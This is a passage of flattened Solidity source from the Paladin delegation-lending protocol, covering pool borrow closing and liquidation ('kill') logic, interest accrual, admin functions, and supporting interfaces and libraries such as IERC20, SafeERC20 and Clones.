uint _penaltyFees = 0;
uint _totalFees = _feesUsed;
//If the Borrow is closed before the minimum length, calculates the penalty fees to pay
// -> Number of block remaining to complete the minimum length * current Borrow Rate
if(block.number < (_borrow.startBlock.add(minBorrowLength))){
uint _currentBorrowRate = interestModule.getBorrowRate(address(this), underlyingBalance(), totalBorrowed, totalReserve);
uint _missingBlocks = (_borrow.startBlock.add(minBorrowLength)).sub(block.number);
_penaltyFees = _missingBlocks.mul(_borrow.amount.mul(_currentBorrowRate)).div(mantissaScale);
_totalFees = _totalFees.add(_penaltyFees);
}
//Security so the Borrow can be closed if there are no more fees
//(if the Borrow wasn't Killed yet, or the loan is closed before minimum time, and already paid fees aren't enough)
if(_totalFees > _borrow.feesAmount){
_totalFees = _borrow.feesAmount;
}
//Set the Borrow as closed
_borrow.closed = true;
_borrow.feesUsed = _totalFees;
_borrow.closeBlock = block.number;
//Remove the borrowed tokens + fees from the TotalBorrowed
//Add to the Reserve the reserveFactor of Penalty Fees (if there is Penalty Fees)
//And add the fees counted as potential Killer Fees to the Accrued Fees, since no killing was necessary
numberActiveLoans = numberActiveLoans.sub(1);
totalBorrowed = numberActiveLoans == 0 ? 0 : totalBorrowed.sub((_borrow.amount).add(_feesUsed)); //If not current active Loan, we can just reset the totalBorrowed to 0
uint _realPenaltyFees = _totalFees.sub(_feesUsed);
uint _killerFees = _feesUsed.mul(killerRatio).div(mantissaScale);
totalReserve = totalReserve.add(reserveFactor.mul(_realPenaltyFees).div(mantissaScale));
accruedFees = accruedFees.add(_killerFees).add(reserveFactor.mul(_realPenaltyFees).div(mantissaScale));
//Close and destroy the loan
_palLoan.closeLoan(_totalFees, _loanOwner);
//Burn the palLoanToken for this Loan
require(palLoanToken.burn(_borrow.tokenId), Errors.FAIL_LOAN_TOKEN_BURN);
require(controller.closeBorrowVerify(address(this), _loanOwner, _borrow.loan), Errors.FAIL_CLOSE_BORROW);
//Emit the CloseLoan Event
emit CloseLoan(
_loanOwner,
_borrow.delegatee,
address(underlying),
_borrow.amount,
address(this),
_totalFees,
_loan,
_borrow.tokenId,
false
);
}
/**
* @notice Kill a non-healthy Loan to collect rewards
* @dev Kill a non-healthy Loan to collect rewards
* @param _loan Address of the Loan
*/
function killBorrow(address _loan) public virtual override nonReentrant {
address killer = msg.sender;
//Fetch the corresponding Borrow
//And check that the killer is not the Borrower, and the Loan is still active
Borrow storage _borrow = loanToBorrow[_loan];
require(!_borrow.closed, Errors.LOAN_CLOSED);
require(!isLoanOwner(_loan, killer), Errors.LOAN_OWNER);
require(_updateInterest());
//Get the owner of the Loan through the ERC721 contract
address _loanOwner = palLoanToken.ownerOf(_borrow.tokenId);
//Calculate the amount of fee used, and check if the Loan is killable
uint _feesUsed = (_borrow.amount.mul(borrowIndex).div(_borrow.borrowIndex)).sub(_borrow.amount);
uint _loanHealthFactor = _feesUsed.mul(uint(1e18)).div(_borrow.feesAmount);
require(_loanHealthFactor >= killFactor, Errors.NOT_KILLABLE);
//Load the Loan
IPalLoan _palLoan = IPalLoan(_borrow.loan);
//Close the Loan, and update storage variables
_borrow.closed = true;
_borrow.killed = true;
_borrow.feesUsed = _borrow.feesAmount;
_borrow.closeBlock = block.number;
//Remove the borrowed tokens + fees from the TotalBorrowed
//Remove the amount paid as killer fees from the Reserve, and any over accrued interest in the Reserve & AccruedFees
uint _overAccruedInterest = _loanHealthFactor <= mantissaScale ? 0 : _feesUsed.sub(_borrow.feesAmount);
uint _killerFees = (_borrow.feesAmount).mul(killerRatio).div(mantissaScale);
numberActiveLoans = numberActiveLoans.sub(1);
totalBorrowed = numberActiveLoans == 0 ? 0 : totalBorrowed.sub((_borrow.amount).add(_feesUsed)); //If not current active Loan, we can just reset the totalBorrowed to 0
totalReserve = totalReserve.sub(_killerFees).sub(_overAccruedInterest.mul(reserveFactor).div(mantissaScale));
accruedFees = accruedFees.sub(_overAccruedInterest.mul(reserveFactor.sub(killerRatio)).div(mantissaScale));
//Kill the Loan
_palLoan.killLoan(killer, killerRatio);
//Burn the palLoanToken for this Loan
require(palLoanToken.burn(_borrow.tokenId), Errors.FAIL_LOAN_TOKEN_BURN);
require(controller.killBorrowVerify(address(this), killer, _borrow.loan), Errors.FAIL_KILL_BORROW);
//Emit the CloseLoan Event
emit CloseLoan(
_loanOwner,
_borrow.delegatee,
address(underlying),
_borrow.amount,
address(this),
_borrow.feesAmount,
_loan,
_borrow.tokenId,
true
);
}
/**
* @notice Change the delegatee of a Loan, and delegate him the voting power
* @dev Change the delegatee in the Borrow struct and in the palLoan, then change the voting power delegation recipient
* @param _loan Address of the Loan
* @param _newDelegatee Address of the new voting power recipient
*/
function changeBorrowDelegatee(address _loan, address _newDelegatee) public virtual override nonReentrant {
//Fetch the corresponding Borrow
//And check that the caller is the Borrower, and the Loan is still active
Borrow storage _borrow = loanToBorrow[_loan];
require(!_borrow.closed, Errors.LOAN_CLOSED);
require(_newDelegatee != address(0), Errors.ZERO_ADDRESS);
require(isLoanOwner(_loan, msg.sender), Errors.NOT_LOAN_OWNER);
require(_updateInterest());
//Load the Loan Pool contract
IPalLoan _palLoan = IPalLoan(_borrow.loan);
//Update storage data
_borrow.delegatee = _newDelegatee;
//Call the delegation logic in the palLoan to change the votong power recipient
require(_palLoan.changeDelegatee(_newDelegatee), Errors.FAIL_LOAN_DELEGATEE_CHANGE);
//Emit the Event
emit ChangeLoanDelegatee(
palLoanToken.ownerOf(_borrow.tokenId),
_newDelegatee,
address(underlying),
address(this),
_borrow.loan,
_borrow.tokenId
);
}
/**
* @notice Return the user's palToken balance
* @dev Links the PalToken balanceOf() method
* @param _account User address
* @return uint256 : user palToken balance (in wei)
*/
function balanceOf(address _account) public view override returns(uint){
return palToken.balanceOf(_account);
}
/**
* @notice Return the corresponding balance of the pool underlying token depending on the user's palToken balance
* @param _account User address
* @return uint256 : corresponding balance in the underlying token (in wei)
*/
function underlyingBalanceOf(address _account) external view override returns(uint){
uint _balance = palToken.balanceOf(_account);
if(_balance == 0){
return 0;
}
uint _exchRate = _exchangeRate();
uint _num = _balance.mul(_exchRate);
return _num.div(mantissaScale);
}
/**
* @notice Return true is the given address is the owner of the palLoanToken for the given palLoan
* @param _loanAddress Address of the Loan
* @param _user User address
* @return bool : true if owner
*/
function isLoanOwner(address _loanAddress, address _user) public view override returns(bool){
return palLoanToken.allOwnerOf(idOfLoan(_loanAddress)) == _user;
}
/**
* @notice Return the token Id of the palLoanToken linked to this palLoan
* @param _loanAddress Address of the Loan
* @return uint256 : palLoanToken token Id
*/
function idOfLoan(address _loanAddress) public view override returns(uint256){
return loanToBorrow[_loanAddress].tokenId;
}
/**
* @notice Return the list of all Loans for this Pool (closed and active)
* @return address[] : list of Loans
*/
function getLoansPools() external view override returns(address [] memory){
//Return the addresses of all loans (old ones and active ones)
return loans;
}
/**
* @notice Return all the Loans for a given address
* @param _borrower Address of the user
* @return address : list of Loans
*/
function getLoansByBorrower(address _borrower) external view override returns(address [] memory){
return palLoanToken.allLoansOfForPool(_borrower, address(this));
}
/**
* @notice Return the stored Borrow data for a given Loan
* @dev Return the Borrow data for a given Loan
* @param _loanAddress Address of the palLoan
* Composants of a Borrow struct
*/
function getBorrowData(address _loanAddress) external view override returns(
address _borrower,
address _delegatee,
address _loan,
uint256 _palLoanTokenId,
uint _amount,
address _underlying,
uint _feesAmount,
uint _feesUsed,
uint _startBlock,
uint _closeBlock,
bool _closed,
bool _killed
){
//Return the data inside a Borrow struct
Borrow memory _borrow = loanToBorrow[_loanAddress];
return (
//Get the Loan owner through the ERC721 contract
palLoanToken.allOwnerOf(_borrow.tokenId),
_borrow.delegatee,
_borrow.loan,
_borrow.tokenId,
_borrow.amount,
_borrow.underlying,
_borrow.feesAmount,
//Calculate amount of fees used
_borrow.closed ? _borrow.feesUsed : (_borrow.amount.mul(borrowIndex).div(_borrow.borrowIndex)).sub(_borrow.amount),
_borrow.startBlock,
_borrow.closeBlock,
_borrow.closed,
_borrow.killed
);
}
/**
* @notice Get the Borrow Rate for this Pool
* @dev Get the Borrow Rate from the Interest Module
* @return uint : Borrow Rate (scale 1e18)
*/
function borrowRatePerBlock() external view override returns (uint){
return interestModule.getBorrowRate(address(this), underlyingBalance(), totalBorrowed, totalReserve);
}
/**
* @notice Get the Supply Rate for this Pool
* @dev Get the Supply Rate from the Interest Module
* @return uint : Supply Rate (scale 1e18)
*/
function supplyRatePerBlock() external view override returns (uint){
return interestModule.getSupplyRate(address(this), underlyingBalance(), totalBorrowed, totalReserve, reserveFactor);
}
/**
* @dev Calculates the current exchange rate
* @return uint : current exchange rate (scale 1e18)
*/
function _exchangeRate() internal view returns (uint){
uint _totalSupply = palToken.totalSupply();
//If no palTokens where minted, use the initial exchange rate
if(_totalSupply == 0){
return initialExchangeRate;
}
else{
// Exchange Rate = (Cash + Borrows - Reserve) / Supply
uint _cash = underlyingBalance();
uint _availableCash = _cash.add(totalBorrowed).sub(totalReserve);
return _availableCash.mul(1e18).div(_totalSupply);
}
}
/**
* @notice Get the current exchange rate for the palToken
* @dev Updates interest & Calls internal function _exchangeRate
* @return uint : current exchange rate (scale 1e18)
*/
function exchangeRateCurrent() external override returns (uint){
_updateInterest();
return _exchangeRate();
}
/**
* @notice Get the stored exchange rate for the palToken
* @dev Calls internal function _exchangeRate
* @return uint : current exchange rate (scale 1e18)
*/
function exchangeRateStored() external view override returns (uint){
return _exchangeRate();
}
/**
* @notice Return the minimum of fees to pay to borrow
* @dev Fees to pay for a Borrow (for the minimum borrow length)
* @return uint : minimum amount (in wei)
*/
function minBorrowFees(uint _amount) public view override returns (uint){
require(_amount < underlyingBalance(), Errors.INSUFFICIENT_CASH);
//Future Borrow Rate with the amount to borrow counted as already borrowed
uint _borrowRate = interestModule.getBorrowRate(address(this), underlyingBalance().sub(_amount), totalBorrowed.add(_amount), totalReserve);
uint _minFees = minBorrowLength.mul(_amount.mul(_borrowRate)).div(mantissaScale);
return _minFees > 0 ? _minFees : 1;
}
function isKillable(address _loan) external view override returns(bool){
Borrow memory __borrow = loanToBorrow[_loan];
if(__borrow.closed){
return false;
}
//Calculate the amount of fee used, and check if the Loan is killable
uint _feesUsed = (__borrow.amount.mul(borrowIndex).div(__borrow.borrowIndex)).sub(__borrow.amount);
uint _loanHealthFactor = _feesUsed.mul(uint(1e18)).div(__borrow.feesAmount);
return _loanHealthFactor >= killFactor;
}
/**
* @dev Updates Inetrest and variables for this Pool
* @return bool : Update success
*/
function _updateInterest() public returns (bool){
//Get the current block
//Check if the Pool has already been updated this block
uint _currentBlock = block.number;
if(_currentBlock == accrualBlockNumber){
return true;
}
//Get Pool variables from Storage
uint _cash = underlyingBalance();
uint _borrows = totalBorrowed;
uint _reserves = totalReserve;
uint _accruedFees = accruedFees;
uint _oldBorrowIndex = borrowIndex;
//Get the Borrow Rate from the Interest Module
uint _borrowRate = interestModule.getBorrowRate(address(this), _cash, _borrows, _reserves);
//Delta of blocks since the last update
uint _ellapsedBlocks = _currentBlock.sub(accrualBlockNumber);
/*
Interest Factor = Borrow Rate * Ellapsed Blocks
Accumulated Interests = Interest Factor * Borrows
Total Borrows = Borrows + Accumulated Interests
Total Reserve = Reserve + Accumulated Interests * Reserve Factor
Accrued Fees = Accrued Fees + Accumulated Interests * (Reserve Factor - Killer Ratio) -> (available fees should not count potential fees to send to killers)
Borrow Index = old Borrow Index + old Borrow Index * Interest Factor
*/
uint _interestFactor = _borrowRate.mul(_ellapsedBlocks);
uint _accumulatedInterest = _interestFactor.mul(_borrows).div(mantissaScale);
uint _newBorrows = _borrows.add(_accumulatedInterest);
uint _newReserve = _reserves.add(reserveFactor.mul(_accumulatedInterest).div(mantissaScale));
uint _newAccruedFees = _accruedFees.add((reserveFactor.sub(killerRatio)).mul(_accumulatedInterest).div(mantissaScale));
uint _newBorrowIndex = _oldBorrowIndex.add(_interestFactor.mul(_oldBorrowIndex).div(1e18));
//Update storage
totalBorrowed = _newBorrows;
totalReserve = _newReserve;
accruedFees = _newAccruedFees;
borrowIndex = _newBorrowIndex;
accrualBlockNumber = _currentBlock;
return true;
}
// Admin Functions
/**
* @notice Set a new Controller
* @dev Loads the new Controller for the Pool
* @param _newController address of the new Controller
*/
function setNewController(address _newController) external override controllerOnly {
controller = IPaladinController(_newController);
}
/**
* @notice Set a new Interest Module
* @dev Load a new Interest Module
* @param _interestModule address of the new Interest Module
*/
function setNewInterestModule(address _interestModule) external override adminOnly {
interestModule = InterestInterface(_interestModule);
}
/**
* @notice Set a new Delegator
* @dev Change Delegator address
* @param _delegator address of the new Delegator
*/
function setNewDelegator(address _delegator) external override adminOnly {
delegator = _delegator;
}
/**
* @notice Set a new Minimum Borrow Length
* @dev Change Minimum Borrow Length value
* @param _length new Minimum Borrow Length
*/
function updateMinBorrowLength(uint _length) external override adminOnly {
require(_length > 0, Errors.INVALID_PARAMETERS);
minBorrowLength = _length;
}
/**
* @notice Update the Pool Reserve Factor & Killer Ratio
* @dev Change Reserve Factor value & Killer Ratio value
* @param _reserveFactor new % of fees to set as Reserve
* @param _killerRatio new Ratio of Fees to pay the killer
*/
function updatePoolFactors(uint _reserveFactor, uint _killerRatio) external override adminOnly {
require(_reserveFactor > 0 && _killerRatio > 0 && _reserveFactor >= _killerRatio,
Errors.INVALID_PARAMETERS
);
reserveFactor = _reserveFactor;
killerRatio = _killerRatio;
}
/**
* @notice Add underlying in the Pool Reserve
* @dev Transfer underlying token from the admin to the Pool
* @param _amount Amount of underlying to transfer
*/
function addReserve(uint _amount) external override adminOnly {
require(_updateInterest());
totalReserve = totalReserve.add(_amount);
//Transfer from the admin to the Pool
underlying.safeTransferFrom(admin, address(this), _amount);
emit AddReserve(_amount);
}
/**
* @notice Remove underlying from the Pool Reserve
* @dev Transfer underlying token from the Pool to the admin
* @param _amount Amount of underlying to transfer
*/
function removeReserve(uint _amount) external override adminOnly {
//Check if there is enough in the reserve
require(_updateInterest());
require(_amount <= underlyingBalance() && _amount <= totalReserve, Errors.RESERVE_FUNDS_INSUFFICIENT);
totalReserve = totalReserve.sub(_amount);
//Transfer underlying to the admin
underlying.safeTransfer(admin, _amount);
emit RemoveReserve(_amount);
}
/**
* @notice Method to allow the Controller (or admin) to withdraw protocol fees
* @dev Transfer underlying token from the Pool to the controller (or admin)
* @param _amount Amount of underlying to transfer
* @param _recipient Address to receive the token
*/
function withdrawFees(uint _amount, address _recipient) external override controllerOnly {
//Check if there is enough in the reserve
require(_updateInterest());
require(_amount<= accruedFees && _amount <= totalReserve, Errors.FEES_ACCRUED_INSUFFICIENT);
//Substract from accruedFees (to track how much fees the Controller can withdraw since last time)
//And also from the REserve, since the fees are part of the Reserve
accruedFees = accruedFees.sub(_amount);
totalReserve = totalReserve.sub(_amount);
//Transfer fees to the recipient
underlying.safeTransfer(_recipient, _amount);
emit WithdrawFees(_amount);
}
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
pragma abicoder v2;
//SPDX-License-Identifier: MIT
/** @title palPool Interface */
/// @author Paladin
interface IPalPool {
//Events
/** @notice Event when an user deposit tokens in the pool */
event Deposit(address user, uint amount, address palPool);
/** @notice Event when an user withdraw tokens from the pool */
event Withdraw(address user, uint amount, address palPool);
/** @notice Event when a loan is started */
event NewLoan(
address borrower,
address delegatee,
address underlying,
uint amount,
address palPool,
address loanAddress,
uint256 palLoanTokenId,
uint startBlock);
/** @notice Event when the fee amount in the loan is updated */
event ExpandLoan(
address borrower,
address delegatee,
address underlying,
address palPool,
uint newFeesAmount,
address loanAddress,
uint256 palLoanTokenId
);
/** @notice Event when the delegatee of the loan is updated */
event ChangeLoanDelegatee(
address borrower,
address newDelegatee,
address underlying,
address palPool,
address loanAddress,
uint256 palLoanTokenId
);
/** @notice Event when a loan is ended */
event CloseLoan(
address borrower,
address delegatee,
address underlying,
uint amount,
address palPool,
uint usedFees,
address loanAddress,
uint256 palLoanTokenId,
bool wasKilled
);
/** @notice Reserve Events */
event AddReserve(uint amount);
event RemoveReserve(uint amount);
event WithdrawFees(uint amount);
//Functions
function deposit(uint _amount) external returns(uint);
function withdraw(uint _amount) external returns(uint);
function borrow(address _delegatee, uint _amount, uint _feeAmount) external returns(uint);
function expandBorrow(address _loanPool, uint _feeAmount) external returns(uint);
function closeBorrow(address _loanPool) external;
function killBorrow(address _loanPool) external;
function changeBorrowDelegatee(address _loanPool, address _newDelegatee) external;
function balanceOf(address _account) external view returns(uint);
function underlyingBalanceOf(address _account) external view returns(uint);
function isLoanOwner(address _loanAddress, address _user) external view returns(bool);
function idOfLoan(address _loanAddress) external view returns(uint256);
function getLoansPools() external view returns(address [] memory);
function getLoansByBorrower(address _borrower) external view returns(address [] memory);
function getBorrowData(address _loanAddress) external view returns(
address _borrower,
address _delegatee,
address _loanPool,
uint256 _palLoanTokenId,
uint _amount,
address _underlying,
uint _feesAmount,
uint _feesUsed,
uint _startBlock,
uint _closeBlock,
bool _closed,
bool _killed
);
function borrowRatePerBlock() external view returns (uint);
function supplyRatePerBlock() external view returns (uint);
function exchangeRateCurrent() external returns (uint);
function exchangeRateStored() external view returns (uint);
function minBorrowFees(uint _amount) external view returns (uint);
function isKillable(address _loan) external view returns(bool);
//Admin functions :
function setNewController(address _newController) external;
function setNewInterestModule(address _interestModule) external;
function setNewDelegator(address _delegator) external;
function updateMinBorrowLength(uint _length) external;
function updatePoolFactors(uint _reserveFactor, uint _killerRatio) external;
function addReserve(uint _amount) external;
function removeReserve(uint _amount) external;
function withdrawFees(uint _amount, address _recipient) external;
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
/** @title simple PalToken Interface to be used inside the PalPool contract */
/// @author Paladin
interface IPalToken {
function mint(address _user, uint _toMint) external returns(bool);
function burn(address _user, uint _toBurn) external returns(bool);
function balanceOf(address owner) external view returns(uint);
function totalSupply() external view returns (uint256);
}
// SPDX-License-Identifier: agpl-3.0
pragma solidity ^0.7.6;
/**
* @dev Interface of the ERC20 standard as defined in the EIP.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// SPDX-License-Identifier: MIT
pragma solidity ^0.7.6;
import "./IERC20.sol";
import "./SafeMath.sol";
import "./Address.sol";
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
_callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
/**
* @dev Deprecated. This function has issues similar to the ones found in
* {IERC20-approve}, and its usage is discouraged.
*
* Whenever possible, use {safeIncreaseAllowance} and
* {safeDecreaseAllowance} instead.
*/
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
_callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function _callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that
// the target address contains contract code and also asserts for success in the low-level call.
bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
//╚═╝ ╚═╝ ╚═╝╚══════╝╚═╝ ╚═╝╚═════╝ ╚═╝╚═╝ ╚═══╝
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
library Errors {
// Admin error
string public constant CALLER_NOT_ADMIN = '1'; // 'The caller must be the admin'
string public constant CALLER_NOT_CONTROLLER = '29'; // 'The caller must be the admin or the controller'
string public constant CALLER_NOT_ALLOWED_POOL = '30'; // 'The caller must be a palPool listed in the controller'
string public constant CALLER_NOT_MINTER = '31';
string public constant CALLER_NOT_IMPLEMENTATION = '35'; // 'The caller must be the pending Implementation'
// ERC20 type errors
string public constant FAIL_TRANSFER = '2';
string public constant FAIL_TRANSFER_FROM = '3';
string public constant BALANCE_TOO_LOW = '4';
string public constant ALLOWANCE_TOO_LOW = '5';
string public constant SELF_TRANSFER = '6';
// PalPool errors
string public constant INSUFFICIENT_CASH = '9';
string public constant INSUFFICIENT_BALANCE = '10';
string public constant FAIL_DEPOSIT = '11';
string public constant FAIL_LOAN_INITIATE = '12';
string public constant FAIL_BORROW = '13';
string public constant ZERO_BORROW = '27';
string public constant BORROW_INSUFFICIENT_FEES = '23';
string public constant LOAN_CLOSED = '14';
string public constant NOT_LOAN_OWNER = '15';
string public constant LOAN_OWNER = '16';
string public constant FAIL_LOAN_EXPAND = '17';
string public constant NOT_KILLABLE = '18';
string public constant RESERVE_FUNDS_INSUFFICIENT = '19';
string public constant FAIL_MINT = '20';
string public constant FAIL_BURN = '21';
string public constant FAIL_WITHDRAW = '24';
string public constant FAIL_CLOSE_BORROW = '25';
string public constant FAIL_KILL_BORROW = '26';
string public constant ZERO_ADDRESS = '22';
string public constant INVALID_PARAMETERS = '28';
string public constant FAIL_LOAN_DELEGATEE_CHANGE = '32';
string public constant FAIL_LOAN_TOKEN_BURN = '33';
string public constant FEES_ACCRUED_INSUFFICIENT = '34';
//Controller errors
string public constant LIST_SIZES_NOT_EQUAL = '36';
string public constant POOL_LIST_ALREADY_SET = '37';
string public constant POOL_ALREADY_LISTED = '38';
string public constant POOL_NOT_LISTED = '39';
string public constant CALLER_NOT_POOL = '40';
string public constant REWARDS_CASH_TOO_LOW = '41';
string public constant FAIL_BECOME_IMPLEMENTATION = '42';
string public constant INSUFFICIENT_DEPOSITED = '43';
string public constant NOT_CLAIMABLE = '44';
string public constant LOCKED = '45';
}
pragma solidity ^0.7.6;
//SPDX-License-Identifier: MIT
/** @title Admin contract */
/// @author Paladin
contract Admin {
/** @notice (Admin) Event when the contract admin is updated */
event NewAdmin(address oldAdmin, address newAdmin);
/** @dev Admin address for this contract */
address payable internal admin;
modifier adminOnly() {
//allows only the admin of this contract to call the function
require(msg.sender == admin, '1');
_;
}
/**
* @notice Set a new Admin
* @dev Changes the address for the admin parameter
* @param _newAdmin address of the new Controller Admin
*/
function setNewAdmin(address payable _newAdmin) external adminOnly {
address _oldAdmin = admin;
admin = _newAdmin;
emit NewAdmin(_oldAdmin, _newAdmin);
}
}
// SPDX-License-Identifier: MIT
pragma solidity >=0.6.0 <0.8.0;
/**
* @dev https://eips.ethereum.org/EIPS/eip-1167[EIP 1167] is a standard for
* deploying minimal proxy contracts, also known as "clones".
*
* > To simply and cheaply clone contract functionality in an immutable way, this standard specifies
* > a minimal bytecode implementation that delegates all calls to a known, fixed address.
*
* The library includes functions to deploy a proxy using either `create` (traditional deployment) or `create2`
* (salted deterministic deployment). It also includes functions to predict the addresses of clones deployed using the
* deterministic method.
*
* _Available since v3.4._
*/
library Clones {
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create opcode, which should never revert.
*/
function clone(address master) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create(0, ptr, 0x37)
}
require(instance != address(0), "ERC1167: create failed");
}
/**
* @dev Deploys and returns the address of a clone that mimics the behaviour of `master`.
*
* This function uses the create2 opcode and a `salt` to deterministically deploy
* the clone. Using the same `master` and `salt` multiple time will revert, since
* the clones cannot be deployed twice at the same address.
*/
function cloneDeterministic(address master, bytes32 salt) internal returns (address instance) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf30000000000000000000000000000000000)
instance := create2(0, ptr, 0x37, salt)
}
require(instance != address(0), "ERC1167: create2 failed");
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt, address deployer) internal pure returns (address predicted) {
// solhint-disable-next-line no-inline-assembly
assembly {
let ptr := mload(0x40)
mstore(ptr, 0x3d602d80600a3d3981f3363d3d373d3d3d363d73000000000000000000000000)
mstore(add(ptr, 0x14), shl(0x60, master))
mstore(add(ptr, 0x28), 0x5af43d82803e903d91602b57fd5bf3ff00000000000000000000000000000000)
mstore(add(ptr, 0x38), shl(0x60, deployer))
mstore(add(ptr, 0x4c), salt)
mstore(add(ptr, 0x6c), keccak256(ptr, 0x37))
predicted := keccak256(add(ptr, 0x37), 0x55)
}
}
/**
* @dev Computes the address of a clone deployed using {Clones-cloneDeterministic}.
*/
function predictDeterministicAddress(address master, bytes32 salt) internal view returns (address predicted) {
return predictDeterministicAddress(master, salt, address(this));
}
}
//██████╗ █████╗ ██╗ █████╗ ██████╗ ██╗███╗ ██╗
//██╔══██╗██╔══██╗██║ ██╔══██╗██╔══██╗██║████╗ ██║
//██████╔╝███████║██║ ███████║██║ ██║██║██╔██╗ ██║
//██╔═══╝ ██╔══██║██║ ██╔══██║██║ ██║██║██║╚██╗██║
//██║ ██║ ██║███████╗██║ ██║██████╔╝██║██║ ╚████║
